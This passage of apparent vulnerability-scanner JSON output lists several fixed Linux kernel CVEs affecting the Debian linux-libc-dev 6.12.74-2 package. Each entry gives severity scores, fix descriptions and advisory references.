Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5457cb8d488ca11e7ddb0d00c993be7881aa6fa5bbab800dccb2110c28de4a85", "Title": "kernel: net: qrtr: ns: Fix use-after-free in driver remove()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: qrtr: ns: Fix use-after-free in driver remove()\n\nIn the remove callback, if a packet arrives after destroy_workqueue() is\ncalled, but before sock_release(), the qrtr_ns_data_ready() callback will\ntry to queue the work, causing use-after-free issue.\n\nFix this issue by saving the default 'sk_data_ready' callback during\nqrtr_ns_init() and use it to replace the qrtr_ns_data_ready() callback at\nthe start of remove(). This ensures that even if a packet arrives after\ndestroy_workqueue(), the work struct will not be dereferenced.\n\nNote that it is also required to ensure that the RX threads are completed\nbefore destroying the workqueue, because the threads could be using the\nqrtr_ns_data_ready() callback.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46047", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/7809fea20c9404bfcfa6112ec08d1fe1d3520beb%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0f313eb6a8f6dffa491373cf3afab979fa1c02f4", "https://git.kernel.org/stable/c/2e127ceb1c415e246076d8e09e23e443a7a2038f", "https://git.kernel.org/stable/c/4ae0bd51bf7079e9c2a06b5de0ae04ba70d10167", "https://git.kernel.org/stable/c/65168712c216584ff482a7d1a67589f2079b2634", "https://git.kernel.org/stable/c/7809fea20c9404bfcfa6112ec08d1fe1d3520beb", "https://git.kernel.org/stable/c/db3c60ec772de30acae92d560dfcc5258e58dbe8", "https://git.kernel.org/stable/c/dff081c3602f2fd810f69ef47945a226980dd05d", "https://git.kernel.org/stable/c/f96779e916576e81430ebb326baff6e433fef8ae", "https://linux.oracle.com/cve/CVE-2026-46047.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052752-CVE-2026-46047-5701@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46047", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46047" ], "PublishedDate": "2026-05-27T14:17:24.2Z", "LastModifiedDate": "2026-11-06T17:17:32.93Z" }, { "VulnerabilityID": "CVE-2026-46054", "VendorIDs": [ "DSA-6381-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46054", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:20beb98977de916400db405f4d3276540fad439db9ddeb0df1a50415aa84a154", "Title": "kernel: selinux: fix overlayfs mmap() and mprotect() access checks", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nselinux: fix overlayfs mmap() and mprotect() access checks\n\nThe existing SELinux security model for overlayfs is to allow access if\nthe current task is able to access the top level file (the \"user\" file)\nand the mounter's credentials are sufficient to access the lower\nlevel file (the \"backing\" file). Unfortunately, the current code does\nnot properly enforce these access controls for both mmap() and mprotect()\noperations on overlayfs filesystems.\n\nThis patch makes use of the newly created security_mmap_backing_file()\nLSM hook to provide the missing backing file enforcement for mmap()\noperations, and leverages the backing file API and new LSM blob to\nprovide the necessary information to properly enforce the mprotect()\naccess controls.", "Severity": "HIGH", "CweIDs": [ "CWE-862", "CWE-280" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25191", "https://access.redhat.com/errata/RHSA-2026:27811", "https://access.redhat.com/errata/RHSA-2026:27812", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:51746", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:52667", "https://access.redhat.com/errata/RHSA-2026:52764", "https://access.redhat.com/errata/RHSA-2026:59091", "https://access.redhat.com/errata/RHSA-2026:59473", "https://access.redhat.com/errata/RHSA-2026:67721", "https://access.redhat.com/errata/RHSA-2026:67723", "https://access.redhat.com/security/cve/CVE-2026-46054", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2482025", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46054", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:27811", "https://git.kernel.org/linus/82544d36b1729153c8aeb179e84750f0c085d3b1%20%287.1-rc1%29", "https://git.kernel.org/stable/c/82544d36b1729153c8aeb179e84750f0c085d3b1", "https://git.kernel.org/stable/c/8bacd09f12c27710228562e4d13163e58c5f4a45", "https://git.kernel.org/stable/c/bc6c380c1159de52a252ed11f19a42c47f60a735", "https://git.kernel.org/stable/c/cd0e707a927a70cdfd8bc5a512a9719a87f5ed51", "https://git.kernel.org/stable/c/d844702198395d3f80222777030f69db6be6b709", "https://linux.oracle.com/cve/CVE-2026-46054.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026052754-CVE-2026-46054-b185@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46054", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46054.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-46054" ], "PublishedDate": "2026-05-27T14:17:25.043Z", "LastModifiedDate": "2026-10-19T20:18:24.973Z" }, { "VulnerabilityID": "CVE-2026-46064", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46064", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f8ae990f2efe9964318d6a7082f63809ce2841123a73b814e365651a7df2cf2", "Title": "kernel: ibmasm: fix heap over-read in ibmasm_send_i2o_message()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmasm: fix heap over-read in ibmasm_send_i2o_message()\n\nThe ibmasm_send_i2o_message() function uses get_dot_command_size() to\ncompute the byte count for memcpy_toio(), but this value is derived from\nuser-controlled fields in the dot_command_header (command_size: u8,\ndata_size: u16) and is never validated against the actual allocation size.\nA root user can write a small buffer with inflated header fields, causing\nmemcpy_toio() to read up to ~65 KB past the end of the allocation into\nadjacent kernel heap, which is then forwarded to the service processor\nover MMIO.\n\nSilently clamping the copy size is not sufficient: if the header fields\nclaim a larger size than the buffer, the SP receives a dot command whose\nown header is inconsistent with the I2O message length, which can cause\nthe SP to desynchronize. Reject such commands outright by returning\nfailure.\n\nValidate command_size before calling get_mfa_inbound() to avoid leaking\nan I2O message frame: reading INBOUND_QUEUE_PORT dequeues a hardware\nframe from the controller's free pool, and returning without a\ncorresponding set_mfa_inbound() call would permanently exhaust it.\n\nAdditionally, clamp command_size to I2O_COMMAND_SIZE before the\nmemcpy_toio() so the MMIO write stays within the I2O message frame,\nconsistent with the clamping already performed by outgoing_message_size()\nfor the header field.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46064", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/9aad71144fa3682cca3837a06c8623016790e7ec%20%287.1-rc1%29", "https://git.kernel.org/stable/c/9aad71144fa3682cca3837a06c8623016790e7ec", "https://git.kernel.org/stable/c/9e8f6c9d4ecddda2f28baa1678340286cff3969c", "https://git.kernel.org/stable/c/b870f652877bfbe321bd0f4096fc37a93296f7b6", "https://git.kernel.org/stable/c/c1c2417c60dbdca5ebb00462f21ee71c2d7f7083", "https://git.kernel.org/stable/c/ca1c857e2bb74a9fc0606128334f85316d57067b", "https://git.kernel.org/stable/c/ce57fa439bd1b5d664f334a0c3e3f0e42abb0153", "https://git.kernel.org/stable/c/fd19eb1c75047a4ed4e855f56cafd704dc3914e0", "https://git.kernel.org/stable/c/fe31722b0194ff76bf8b461e8bf97a2081147787", "https://lore.kernel.org/linux-cve-announce/2026052756-CVE-2026-46064-ba4f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46064", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46064" ], "PublishedDate": "2026-05-27T14:17:26.867Z", "LastModifiedDate": "2026-10-15T02:19:41.027Z" }, { "VulnerabilityID": "CVE-2026-46068", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46068", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a2084cf7284e452961f8bbaf322c5971bb1b4c9df50b41735c6fad2a70acab87", "Title": "kernel: crypto: nx - fix bounce buffer leaks in nx842_crypto_{alloc,free}_ctx", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: nx - fix bounce buffer leaks in nx842_crypto_{alloc,free}_ctx\n\nThe bounce buffers are allocated with __get_free_pages() using\nBOUNCE_BUFFER_ORDER (order 2 = 4 pages), but both the allocation error\npath and nx842_crypto_free_ctx() release the buffers with free_page().\nUse free_pages() with the matching order instead.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46068", "https://git.kernel.org/linus/adb3faf2db1a66d0f015b44ac909a32dfc7f2f9c%20%287.1-rc1%29", "https://git.kernel.org/stable/c/5c07962fed66e1238fad7635fa150570bd38b4c5", "https://git.kernel.org/stable/c/80fd99d7c30ea889662d21f1b44d8fea4c83138d", "https://git.kernel.org/stable/c/910bb34b801d39794e656f7d48414844b2bd354e", "https://git.kernel.org/stable/c/adb3faf2db1a66d0f015b44ac909a32dfc7f2f9c", "https://git.kernel.org/stable/c/f17a4850d1ce7c11cba8b1830b9bfedfede878bb", "https://lore.kernel.org/linux-cve-announce/2026052757-CVE-2026-46068-1fce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46068", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-46068" ], "PublishedDate": "2026-05-27T14:17:27.94Z", "LastModifiedDate": "2026-11-06T17:17:34.393Z" }, { "VulnerabilityID": "CVE-2026-46069", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46069", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5d53e022be4443beb41ad4d4ac096f4f9980d65052ca5aa1558747bde3a9d0d0", "Title": "kernel: wifi: mwifiex: fix use-after-free in mwifiex_adapter_cleanup()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mwifiex: fix use-after-free in mwifiex_adapter_cleanup()\n\nThe mwifiex_adapter_cleanup() function uses timer_delete()\n(non-synchronous) for the wakeup_timer before the adapter structure is\nfreed. This is incorrect because timer_delete() does not wait for any\nrunning timer callback to complete.\n\nIf the wakeup_timer callback (wakeup_timer_fn) is executing when\nmwifiex_adapter_cleanup() is called, the callback will continue to\naccess adapter fields (adapter-\u003ehw_status, adapter-\u003eif_ops.card_reset,\netc.) which may be freed by mwifiex_free_adapter() called later in the\nmwifiex_remove_card() path.\n\nUse timer_delete_sync() instead to ensure any running timer callback has\ncompleted before returning.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46069", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/ae5e95d4157481693be2317e3ffcd84e36010cbb%20%287.1-rc1%29", "https://git.kernel.org/stable/c/030abbae49cf9fd1fba7aa08e15ec81efbeb78cf", "https://git.kernel.org/stable/c/11869ce402d95519d49b25a2a97741f68d69d103", "https://git.kernel.org/stable/c/1958a92599b2653d730ccb6f5685fc3fbed21812", "https://git.kernel.org/stable/c/4e179a60a60c0a5aea245e8e67768343c0f070b8", "https://git.kernel.org/stable/c/63fe3389b3e092d6c0eeea9fc0318e7918b16618", "https://git.kernel.org/stable/c/a88f5391dc68f78cae5eb6a8cd341cafee795d3d", "https://git.kernel.org/stable/c/ae5e95d4157481693be2317e3ffcd84e36010cbb", "https://git.kernel.org/stable/c/c3508895450cca4aeaf5dbadbb5e582363005264", "https://linux.oracle.com/cve/CVE-2026-46069.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052757-CVE-2026-46069-b583@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46069", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46069" ], "PublishedDate": "2026-05-27T14:17:28.17Z", "LastModifiedDate": "2026-11-06T17:17:34.603Z" }, { "VulnerabilityID": "CVE-2026-46075", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46075", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:615d7580aed71056bf0242214c2261f0133714691a69ae3547e4975a59a99a06", "Title": "kernel: crypto: atmel-sha204a - Fix potential UAF and memory leak in remove path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: atmel-sha204a - Fix potential UAF and memory leak in remove path\n\nUnregister the hwrng to prevent new -\u003eread() calls and flush the Atmel\nI2C workqueue before teardown to prevent a potential UAF if a queued\ncallback runs while the device is being removed.\n\nDrop the early return to ensure sysfs entries are removed and\n-\u003ehwrng.priv is freed, preventing a memory leak.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46075", "https://git.kernel.org/linus/bab1adf3b87e4bfac92c4f5963c63db434d561c1%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1193c12126d39bf986a5a9214827b73707b193ab", "https://git.kernel.org/stable/c/31901371ccd16b42d2f167b1018ba9ae8bd5a6c7", "https://git.kernel.org/stable/c/6dbeb0f788582e1ab5dfc3f41994eac0ec88c2b5", "https://git.kernel.org/stable/c/775c00d87c385b758da9504cf053acea00e2ed40", "https://git.kernel.org/stable/c/bab1adf3b87e4bfac92c4f5963c63db434d561c1", "https://git.kernel.org/stable/c/c5a45d14234bf26e28a89e3a5dcc08336595cf11", "https://lore.kernel.org/linux-cve-announce/2026052759-CVE-2026-46075-8a6c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46075", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-46075" ], "PublishedDate": "2026-05-27T14:17:28.823Z", "LastModifiedDate": "2026-06-24T16:59:08.56Z" }, { "VulnerabilityID": "CVE-2026-46084", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46084", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:61f4a06e305063b5b230194581211136cc8bc03c03d651efa67d25568db5aad0", "Title": "kernel: RDMA/mana_ib: Disable RX steering on RSS QP destroy", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mana_ib: Disable RX steering on RSS QP destroy\n\nWhen an RSS QP is destroyed (e.g. DPDK exit), mana_ib_destroy_qp_rss()\ndestroys the RX WQ objects but does not disable vPort RX steering in\nfirmware. This leaves stale steering configuration that still points to\nthe destroyed RX objects.\n\nIf traffic continues to arrive (e.g. peer VM is still transmitting) and\nthe VF interface is subsequently brought up (mana_open), the firmware\nmay deliver completions using stale CQ IDs from the old RX objects.\nThese CQ IDs can be reused by the ethernet driver for new TX CQs,\ncausing RX completions to land on TX CQs:\n\n WARNING: mana_poll_tx_cq+0x1b8/0x220 [mana] (is_sq == false)\n WARNING: mana_gd_process_eq_events+0x209/0x290 (cq_table lookup fails)\n\nFix this by disabling vPort RX steering before destroying RX WQ objects.\nNote that mana_fence_rqs() cannot be used here because the fence\ncompletion is delivered on the CQ, which is polled by user-mode (e.g.\nDPDK) and not visible to the kernel driver.\n\nRefactor the disable logic into a shared mana_disable_vport_rx() in\nmana_en, exported for use by mana_ib, replacing the duplicate code.\nThe ethernet driver's mana_dealloc_queues() is also updated to call\nthis common function.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46084", "https://git.kernel.org/linus/dbeb256e8dd87233d891b170c0b32a6466467036%20%287.1-rc1%29", "https://git.kernel.org/stable/c/3be5ed233de03b00ae868cfc06e95331d8d9007c", "https://git.kernel.org/stable/c/6a2d6273b6c3581ce7b90ce17b5cbb4efd19438f", "https://git.kernel.org/stable/c/8ba804869382ce307f2a15f5f6f2adfd791f41dc", "https://git.kernel.org/stable/c/dbeb256e8dd87233d891b170c0b32a6466467036", "https://git.kernel.org/stable/c/f1ccc4d500a0b87a5599343fc2f798048836e184", "https://linux.oracle.com/cve/CVE-2026-46084.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052701-CVE-2026-46084-b254@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46084", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", 